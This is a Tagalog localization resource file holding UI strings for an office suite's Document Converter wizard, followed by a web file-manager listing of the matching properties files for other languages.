OverwriteallFiles=Gusto mo bang i-overwrite ang mga dokumento nang hindi hinihiling?
ReeditMacro=Kailangang baguhin ang macro ng dokumento.
CouldNotsaveDocument=Hindi ma-save ang dokumentong '<1>'.
CouldNotopenDocument=Hindi mabuksan ang dokumentong '<1>'.
PathDialogMessage=Pumili ng isang direktoryo
DialogTitle=Converter ng Dokumento
SearchInSubDir=Kasama ang mga subdirectory
ProgressPage1=Pag-unlad
ProgressPage2=Pagkuha ng mga nauugnay na dokumento:
ProgressPage3=Pag-convert ng mga dokumento
ProgressFound=Natagpuan:
ProgressPage5="%1 ftunog
Ready=Tapos na
SourceDocuments=Pinagmulan ng mga dokumento
TargetDocuments=Mga target na dokumento
LogfileSummary=<COUNT>na-convert ang mga dokumento
SumInclusiveSubDir=Ang lahat ng mga subdirectory ay isasaalang-alang
SumSaveDokumente=Ie-export ang mga ito sa sumusunod na direktoryo:
TextImportLabel=Mag-import mula sa:
TextExportLabel=I-save sa:
CreateLogfile=Gumawa ng log file
LogfileHelpText=Isang log file ang gagawin sa iyong work directory
ShowLogfile=Ipakita ang log file
SumMSTextDocuments=Ang lahat ng mga dokumento ng Word na nasa sumusunod na direktoryo ay mai-import:
SumMSTableDocuments=Ang lahat ng mga dokumento ng Excel na nasa sumusunod na direktoryo ay mai-import:
SumMSDrawDocuments=Ang lahat ng mga dokumento ng PowerPoint/Publisher na nasa sumusunod na direktoryo ay mai-import:
SumMSTextTemplates=Ang lahat ng mga template ng Word na nasa sumusunod na direktoryo ay mai-import:
SumMSTableTemplates=Ang lahat ng mga template ng Excel na nasa sumusunod na direktoryo ay mai-import:
SumMSDrawTemplates=Ang lahat ng mga template ng PowerPoint na nasa sumusunod na direktoryo ay mai-import:

Filemanager

Name Type Size Permission Actions
resources_af.properties File 24.1 KB 0644
resources_am.properties File 54.18 KB 0644
resources_ar.properties File 66.1 KB 0644
resources_as.properties File 73.53 KB 0644
resources_ast.properties File 26.56 KB 0644
resources_be.properties File 78.6 KB 0644
resources_bg.properties File 85.83 KB 0644
resources_bn.properties File 67.98 KB 0644
resources_bn_IN.properties File 74.22 KB 0644
resources_br.properties File 27.11 KB 0644
resources_bs.properties File 25.26 KB 0644
resources_ca.properties File 26.68 KB 0644
resources_ca_valencia.properties File 26.59 KB 0644
resources_cs.properties File 29.77 KB 0644
resources_cy.properties File 23.54 KB 0644
resources_da.properties File 25.1 KB 0644
resources_de.properties File 27.5 KB 0644
resources_dz.properties File 87.52 KB 0644
resources_el.properties File 91.99 KB 0644
resources_en_GB.properties File 23.38 KB 0644
resources_en_US.properties File 23.4 KB 0644
resources_en_ZA.properties File 23.38 KB 0644
resources_eo.properties File 24.85 KB 0644
resources_es.properties File 26.92 KB 0644
resources_et.properties File 25.18 KB 0644
resources_eu.properties File 24.39 KB 0644
resources_fa.properties File 48.98 KB 0644
resources_fi.properties File 25.82 KB 0644
resources_fr.properties File 29.11 KB 0644
resources_ga.properties File 30.14 KB 0644
resources_gd.properties File 29.7 KB 0644
resources_gl.properties File 26.96 KB 0644
resources_gu.properties File 69.51 KB 0644
resources_gug.properties File 24.34 KB 0644
resources_he.properties File 61.53 KB 0644
resources_hi.properties File 69.85 KB 0644
resources_hr.properties File 25.65 KB 0644
resources_hu.properties File 32.4 KB 0644
resources_hy.properties File 87.95 KB 0644
resources_id.properties File 23.24 KB 0644
resources_is.properties File 30.4 KB 0644
resources_it.properties File 25.74 KB 0644
resources_ja.properties File 49.57 KB 0644
resources_ka.properties File 83.01 KB 0644
resources_kk.properties File 81.21 KB 0644
resources_km.properties File 84.02 KB 0644
resources_kmr_Latn.properties File 28.17 KB 0644
resources_kn.properties File 83.76 KB 0644
resources_ko.properties File 39.91 KB 0644
resources_lt.properties File 27.77 KB 0644
resources_lv.properties File 28.82 KB 0644
resources_mk.properties File 73.55 KB 0644
resources_ml.properties File 85.28 KB 0644
resources_mn.properties File 82.68 KB 0644
resources_mr.properties File 71.47 KB 0644
resources_nb.properties File 24.6 KB 0644
resources_ne.properties File 75.78 KB 0644
resources_nl.properties File 25.1 KB 0644
resources_nn.properties File 24.47 KB 0644
resources_nr.properties File 24.78 KB 0644
resources_nso.properties File 27.66 KB 0644
resources_oc.properties File 27.45 KB 0644
resources_om.properties File 24.22 KB 0644
resources_or.properties File 75.63 KB 0644
resources_pa_IN.properties File 66.66 KB 0644
resources_pl.properties File 27.2 KB 0644
resources_pt.properties File 27.67 KB 0644
resources_pt_BR.properties File 27.6 KB 0644
resources_ro.properties File 28.65 KB 0644
resources_ru.properties File 77.01 KB 0644
resources_rw.properties File 24.62 KB 0644
resources_si.properties File 62.65 KB 0644
resources_sk.properties File 29.43 KB 0644
resources_sl.properties File 25.69 KB 0644
resources_sr.properties File 24.91 KB 0644
resources_sr_Latn.properties File 23.38 KB 0644
resources_ss.properties File 24.5 KB 0644
resources_st.properties File 25.59 KB 0644
resources_sv.properties File 26.08 KB 0644
resources_szl.properties File 27.1 KB 0644
resources_ta.properties File 78.79 KB 0644
resources_te.properties File 75.22 KB 0644
resources_tg.properties File 69.52 KB 0644
resources_th.properties File 81.5 KB 0644
resources_tl.properties File 26.1 KB 0644
resources_tn.properties File 24.24 KB 0644
resources_tr.properties File 29.08 KB 0644
resources_ts.properties File 25.53 KB 0644
resources_ug.properties File 82.8 KB 0644
resources_uk.properties File 77.46 KB 0644
resources_uz.properties File 24.33 KB 0644
resources_ve.properties File 28.1 KB 0644
resources_vi.properties File 34.07 KB 0644
resources_xh.properties File 26.22 KB 0644
resources_zh_CN.properties File 32.91 KB 0644
resources_zh_TW.properties File 33.64 KB 0644
resources_zu.properties File 24.89 KB 0644
Filemanager